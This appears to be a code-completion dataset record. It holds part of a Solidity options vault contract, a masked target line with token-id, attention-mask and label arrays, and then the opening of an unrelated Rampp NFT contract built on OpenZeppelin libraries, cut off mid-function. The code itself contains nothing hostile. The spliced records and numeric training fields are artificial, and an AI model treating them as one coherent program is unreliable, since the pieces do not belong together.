uint256 withdrawAmount = _withdraw(share);
IWETH(WETH).withdraw(withdrawAmount);
(bool success, ) = msg.sender.call{value: withdrawAmount}("");
require(success, "ETH transfer failed");
}
/**
* @notice Withdraws WETH from vault using vault shares
* @param share is the number of vault shares to be burned
*/
function withdraw(uint256 share) external nonReentrant {
uint256 withdrawAmount = _withdraw(share);
IERC20(asset).safeTransfer(msg.sender, withdrawAmount);
}
/**
* @notice Burns vault shares and checks if eligible for withdrawal
* @param share is the number of vault shares to be burned
*/
function _withdraw(uint256 share) private returns (uint256) {
(uint256 amountAfterFee, uint256 feeAmount) =
withdrawAmountWithShares(share);
emit Withdraw(msg.sender, amountAfterFee, share, feeAmount);
_burn(msg.sender, share);
IERC20(asset).safeTransfer(feeRecipient, feeAmount);
return amountAfterFee;
}
/**
* @notice Sets the next option the vault will be shorting,
* and closes the existing short. This allows all the users to withdraw
* if the next option is malicious.
*/
function commitAndClose(
ProtocolAdapterTypes.OptionTerms calldata optionTerms
) external onlyManager nonReentrant {
_setNextOption(optionTerms);
_closeShort();
}
function closeShort() external nonReentrant {
_closeShort();
}
/**
* @notice Sets the next option address and the timestamp at which the
* admin can call `rollToNextOption` to open a short for the option.
* @param optionTerms is the terms of the option contract
*/
function _setNextOption(
ProtocolAdapterTypes.OptionTerms calldata optionTerms
) private {
if (isPut) {
require(
optionTerms.optionType == ProtocolAdapterTypes.OptionType.Put,
"!put"
);
} else {
require(
optionTerms.optionType == ProtocolAdapterTypes.OptionType.Call,
"!call"
);
}
address option = adapter.getOptionsAddress(optionTerms);
require(option != address(0), "!option");
OtokenInterface otoken = OtokenInterface(option);
require(otoken.isPut() == isPut, "Option type does not match");
require(
otoken.underlyingAsset() == underlying,
"Wrong underlyingAsset"
);
require(otoken.collateralAsset() == asset, "Wrong collateralAsset");
// we just assume all options use USDC as the strike
require(otoken.strikeAsset() == USDC, "strikeAsset != USDC");
uint256 readyAt = block.timestamp.add(delay);
require(
otoken.expiryTimestamp() >= readyAt,
"Option expiry cannot be before delay"
);
nextOption = option;
nextOptionReadyAt = readyAt;
}
/**
* @notice Closes the existing short position for the vault.
*/
function _closeShort() private {
address oldOption = currentOption;
currentOption = address(0);
lockedAmount = 0;
if (oldOption != address(0)) {
OtokenInterface otoken = OtokenInterface(oldOption);
require(
block.timestamp > otoken.expiryTimestamp(),
"Cannot close short before expiry"
);
uint256 withdrawAmount = adapter.delegateCloseShort();
emit CloseShort(oldOption, withdrawAmount, msg.sender);
}
}
/**
* @notice Rolls the vault's funds into a new short position.
*/
function rollToNextOption() external onlyManager nonReentrant {
require(
block.timestamp >= nextOptionReadyAt,
"Cannot roll before delay"
);
address newOption = nextOption;
require(newOption != address(0), "No found option");
currentOption = newOption;
nextOption = address(0);
uint256 currentBalance = IERC20(asset).balanceOf(address(this));
uint256 shortAmount = wmul(currentBalance, lockedRatio);
lockedAmount = shortAmount;
OtokenInterface otoken = OtokenInterface(newOption);
ProtocolAdapterTypes.OptionTerms memory optionTerms =
ProtocolAdapterTypes.OptionTerms(
otoken.underlyingAsset(),
USDC,
otoken.collateralAsset(),
otoken.expiryTimestamp(),
otoken.strikePrice().mul(10**10), // scale back to 10**18
isPut
? ProtocolAdapterTypes.OptionType.Put
: ProtocolAdapterTypes.OptionType.Call, // isPut
address(0)
);
uint256 shortBalance =
adapter.delegateCreateShort(optionTerms, shortAmount);
IERC20 optionToken = IERC20(newOption);
optionToken.safeApprove(address(SWAP_CONTRACT), shortBalance);
emit OpenShort(newOption, shortAmount, msg.sender);
}
/**
* @notice Withdraw from the options protocol by closing short in an event of a emergency
*/
function emergencyWithdrawFromShort() external onlyManager nonReentrant {
address oldOption = currentOption;
require(oldOption != address(0), "!currentOption");
currentOption = address(0);
nextOption = address(0);
lockedAmount = 0;
uint256 withdrawAmount = adapter.delegateCloseShort();
emit CloseShort(oldOption, withdrawAmount, msg.sender);
}
/**
* @notice Performs a swap of `currentOption` token to `asset` token with a counterparty
* @param order is an Airswap order
*/
function sellOptions(Types.Order calldata order) external onlyManager {
require(
order.sender.wallet == address(this),
"Sender can only be vault"
);
require(
order.sender.token == currentOption,
"Can only sell currentOption"
);
require(order.signer.token == asset, "Can only buy with asset token");
SWAP_CONTRACT.swap(order);
}
/**
* @notice Sets a new cap for deposits
* @param newCap is the new cap for deposits
*/
function setCap(uint256 newCap) external onlyManager {
uint256 oldCap = cap;
cap = newCap;
emit CapSet(oldCap, newCap, msg.sender);
}
/**
* @notice Returns the expiry of the current option the vault is shorting
*/
function currentOptionExpiry() external view returns (uint256) {
address _currentOption = currentOption;
if (_currentOption == address(0)) {
return 0;
}
OtokenInterface oToken = OtokenInterface(currentOption);
return oToken.expiryTimestamp();
}
/**
* @notice Returns the amount withdrawable (in `asset` tokens) using the `share` amount
* @param share is the number of shares burned to withdraw asset from the vault
* @return amountAfterFee is the amount of asset tokens withdrawable from the vault
* @return feeAmount is the fee amount (in asset tokens) sent to the feeRecipient
*/
function withdrawAmountWithShares(uint256 share)
public
view
returns (uint256 amountAfterFee, uint256 feeAmount)
{
uint256 currentAssetBalance = assetBalance();
(
uint256 withdrawAmount,
uint256 newAssetBalance,
uint256 newShareSupply
) = _withdrawAmountWithShares(share, currentAssetBalance);
require(
withdrawAmount <= currentAssetBalance,
"Cannot withdraw more than available"
);
require(newShareSupply >= MINIMUM_SUPPLY, "Insufficient share supply");
require(
newAssetBalance >= MINIMUM_SUPPLY,
"Insufficient asset balance"
);
feeAmount = wmul(withdrawAmount, instantWithdrawalFee);
amountAfterFee = withdrawAmount.sub(feeAmount);
}
/**
* @notice Helper function to return the `asset` amount returned using the `share` amount
* @param share is the number of shares used to withdraw
* @param currentAssetBalance is the value returned by totalBalance(). This is passed in to save gas.
*/
function _withdrawAmountWithShares(
uint256 share,
uint256 currentAssetBalance
)
private
view
returns (
uint256 withdrawAmount,
uint256 newAssetBalance,
uint256 newShareSupply
)
{
uint256 total = lockedAmount.add(currentAssetBalance);
uint256 shareSupply = totalSupply();
// solhint-disable-next-line
// Following the pool share calculation from Alpha Homora: https://github.com/AlphaFinanceLab/alphahomora/blob/340653c8ac1e9b4f23d5b81e61307bf7d02a26e8/contracts/5/Bank.sol#L111
withdrawAmount = share.mul(total).div(shareSupply);
newAssetBalance = total.sub(withdrawAmount);
newShareSupply = shareSupply.sub(share);
}
/**
* @notice Returns the max withdrawable shares for all users in the vault
*/
function maxWithdrawableShares() public view returns (uint256) {
uint256 withdrawableBalance = assetBalance();
uint256 total = lockedAmount.add(withdrawableBalance);
return
withdrawableBalance.mul(totalSupply()).div(total).sub(
MINIMUM_SUPPLY
);
}
/**
* @notice Returns the max amount withdrawable by an account using the account's vault share balance
* @param account is the address of the vault share holder
* @return amount of `asset` withdrawable from vault, with fees accounted
*/
function maxWithdrawAmount(address account)
external
view
returns (uint256)
{
uint256 maxShares = maxWithdrawableShares();
uint256 share = balanceOf(account);
uint256 numShares = min(maxShares, share);
(uint256 withdrawAmount, , ) =
_withdrawAmountWithShares(numShares, assetBalance());
return withdrawAmount;
}
/**
* @notice Returns the number of shares for a given `assetAmount`.
* Used by the frontend to calculate withdraw amounts.
* @param assetAmount is the asset amount to be withdrawn
* @return share amount
*/
function assetAmountToShares(uint256 assetAmount)
external
view
returns (uint256)
{
uint256 total = lockedAmount.add(assetBalance());
return assetAmount.mul(totalSupply()).div(total);
}
/**
* @notice Returns an account's balance on the vault
* @param account is the address of the user
* @return vault balance of the user
*/
function accountVaultBalance(address account)
external
view
returns (uint256)
{
(uint256 withdrawAmount, , ) =
_withdrawAmountWithShares(balanceOf(account), assetBalance());
return withdrawAmount;
}
/**
* @notice Returns the vault's total balance, including the amounts locked into a short position
* @return total balance of the vault, including the amounts locked in third party protocols
*/
function totalBalance() public view returns (uint256) {
return lockedAmount.add(IERC20(asset).balanceOf(address(this)));
}
/**
* @notice Returns the asset balance on the vault. This balance is freely withdrawable by users.
*/
function assetBalance() public view returns (uint256) {
return IERC20(asset).balanceOf(address(this));
}
/**
* @notice Returns the token decimals
*/
function decimals() public view override returns (uint8) {
return _decimals;
}
/**
* @notice Only allows manager to execute a function
*/
modifier onlyManager {
require(msg.sender == manager, "Only manager");
_;
}
} | we just assume all options use USDC as the strike | require(otoken.strikeAsset() == USDC, "strikeAsset != USDC");
| 535,964 | [
1,
1814,
2537,
6750,
777,
702,
999,
11836,
5528,
487,
326,
609,
2547,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
2583,
12,
352,
969,
18,
701,
2547,
6672,
1435,
422,
11836,
5528,
16,
315,
701,
2547,
6672,
480,
11836,
5528,
8863,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
//*********************************************************************//
//*********************************************************************//
//
//
// 8888888b. d8888 888b d888 8888888b. 8888888b.
// 888 Y88b d88888 8888b d8888 888 Y88b 888 Y88b
// 888 888 d88P888 88888b.d88888 888 888 888 888
// 888 d88P d88P 888 888Y88888P888 888 d88P 888 d88P
// 8888888P" d88P 888 888 Y888P 888 8888888P" 8888888P"
// 888 T88b d88P 888 888 Y8P 888 888 888
// 888 T88b d8888888888 888 " 888 888 888
// 888 T88b d88P 888 888 888 888 888
// v1.1.0
//
//
// This project and smart contract was generated by rampp.xyz.
// Rampp allows creators like you to launch
// large scale NFT projects without code!
//
// Rampp is not responsible for the content of this contract and
// hopes it is being used in a responsible and kind way.
// Twitter: @RamppDAO ---- rampp.xyz
//
//*********************************************************************//
//*********************************************************************//
// File: contracts/common/meta-transactions/Initializable.sol
pragma solidity ^ 0.8.0;
contract Initializable {
bool inited = false;
modifier initializer() {
require(!inited, "already inited");
_;
inited = true;
}
}
// File: contracts/common/meta-transactions/EIP712Base.sol
pragma solidity ^ 0.8.0;
contract EIP712Base is Initializable {
struct EIP712Domain {
string name;
string version;
address verifyingContract;
bytes32 salt;
}
string public constant ERC712_VERSION = "1";
bytes32 internal constant EIP712_DOMAIN_TYPEHASH =
keccak256(
bytes(
"EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)"
)
);
bytes32 internal domainSeperator;
// supposed to be called once while initializing.
// one of the contracts that inherits this contract follows proxy pattern
// so it is not possible to do this in a constructor
function _initializeEIP712(string memory name) internal initializer {
_setDomainSeperator(name);
}
function _setDomainSeperator(string memory name) internal {
domainSeperator = keccak256(
abi.encode(
EIP712_DOMAIN_TYPEHASH,
keccak256(bytes(name)),
keccak256(bytes(ERC712_VERSION)),
address(this),
bytes32(getChainId())
)
);
}
function getDomainSeperator() public view returns(bytes32) {
return domainSeperator;
}
function getChainId() public view returns(uint256) {
uint256 id;
assembly {
id:= chainid()
}
return id;
}
/**
* Accept message hash and returns hash message in EIP712 compatible form
* So that it can be used to recover signer from signature signed using EIP712 formatted data
* https://eips.ethereum.org/EIPS/eip-712
* "\x19" makes the encoding deterministic
* "\x01" is the version byte to make it compatible to EIP-191
*/
function toTypedMessageHash(bytes32 messageHash)
internal
view
returns(bytes32)
{
return
keccak256(
abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash)
);
}
}
// File: contracts/common/meta-transactions/ContentMixin.sol
pragma solidity ^ 0.8.0;
abstract contract ContextMixin {
function msgSender() internal view returns(address payable sender) {
if (msg.sender == address(this)) {
bytes memory array = msg.data;
uint256 index = msg.data.length;
assembly {
// Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those.
sender:= and(
mload(add(array, index)),
0xffffffffffffffffffffffffffffffffffffffff
)
}
} else {
sender = payable(msg.sender);
}
return sender;
}
}
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
pragma solidity ^ 0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: 'SafeMath' is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns(bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns(bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns(bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns(bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns(bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's '+' operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns(uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's '- ' operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's '* ' operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's '/ ' operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns(uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's '% ' operator. This function uses a 'revert'
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns(uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's '- ' operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns(uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's '/ ' operator. Note: this function uses a
* 'revert' opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns(uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's '% ' operator. This function uses a 'revert'
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns(uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: contracts/common/meta-transactions/NativeMetaTransaction.sol
pragma solidity ^ 0.8.0;
contract NativeMetaTransaction is EIP712Base {
using SafeMath for uint256;
bytes32 private constant META_TRANSACTION_TYPEHASH =
keccak256(
bytes(
"MetaTransaction(uint256 nonce,address from,bytes functionSignature)"
)
);
event MetaTransactionExecuted(
address userAddress,
address payable relayerAddress,
bytes functionSignature
);
mapping(address => uint256) nonces;
/*
* Meta transaction structure.
* No point of including value field here as if user is doing value transfer then he has the funds to pay for gas
* He should call the desired function directly in that case.
*/
struct MetaTransaction {
uint256 nonce;
address from;
bytes functionSignature;
}
function executeMetaTransaction(
address userAddress,
bytes memory functionSignature,
bytes32 sigR,
bytes32 sigS,
uint8 sigV
) public payable returns(bytes memory) {
MetaTransaction memory metaTx = MetaTransaction({
nonce: nonces[userAddress],
from: userAddress,
functionSignature: functionSignature
});
require(
verify(userAddress, metaTx, sigR, sigS, sigV),
"Signer and signature do not match"
);
// increase nonce for user (to avoid re-use)
nonces[userAddress] = nonces[userAddress].add(1);
emit MetaTransactionExecuted(
userAddress,
payable(msg.sender),
functionSignature
);
// Append userAddress and relayer address at the end to extract it from calling context
(bool success, bytes memory returnData) = address(this).call(
abi.encodePacked(functionSignature, userAddress)
);
require(success, "Function call not successful");
return returnData;
}
function hashMetaTransaction(MetaTransaction memory metaTx)
internal
pure
returns(bytes32)
{
return
keccak256(
abi.encode(
META_TRANSACTION_TYPEHASH,
metaTx.nonce,
metaTx.from,
keccak256(metaTx.functionSignature)
)
);
}
function getNonce(address user) public view returns(uint256 nonce) {
nonce = nonces[user];
}
function verify(
address signer,
MetaTransaction memory metaTx,
bytes32 sigR,
bytes32 sigS,
uint8 sigV
) internal view returns(bool) {
require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER");
return
signer ==
ecrecover(
toTypedMessageHash(hashMetaTransaction(metaTx)),
sigV,
sigR,
sigS
);
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^ 0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a 'uint256' to its ASCII 'string' decimal representation.
*/
function toString(uint256 value) internal pure returns(string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a 'uint256' to its ASCII 'string' hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns(string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a 'uint256' to its ASCII 'string' hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns(string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^ 0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns(address) {
return msg.sender;
}
function _msgData() internal view virtual returns(bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^ 0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* 'onlyOwner', which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* 'onlyOwner' functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account ('newOwner').
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^ 0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if 'account' is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, 'isContract' will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns(bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size:= extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's 'transfer': sends 'amount' wei to
* 'recipient', forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by 'transfer', making them unable to receive funds via
* 'transfer'. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to 'recipient', care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount } ("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level 'call'. A
* plain 'call' is an unsafe replacement for a function call: use this
* function instead.
*
* If 'target' reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions['abi.decode'].
*
* Requirements:
*
* - 'target' must be a contract.
* - calling 'target' with 'data' must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns(bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}['functionCall'], but with
* 'errorMessage' as a fallback revert reason when 'target' reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns(bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}['functionCall'],
* but also transferring 'value' wei to 'target'.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least 'value'.
* - the called Solidity function must be 'payable'.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns(bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}['functionCallWithValue'], but
* with 'errorMessage' as a fallback revert reason when 'target' reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns(bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value } (data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}['functionCall'],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns(bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}['functionCall'],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns(bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}['functionCall'],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns(bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}['functionCall'],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns(bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
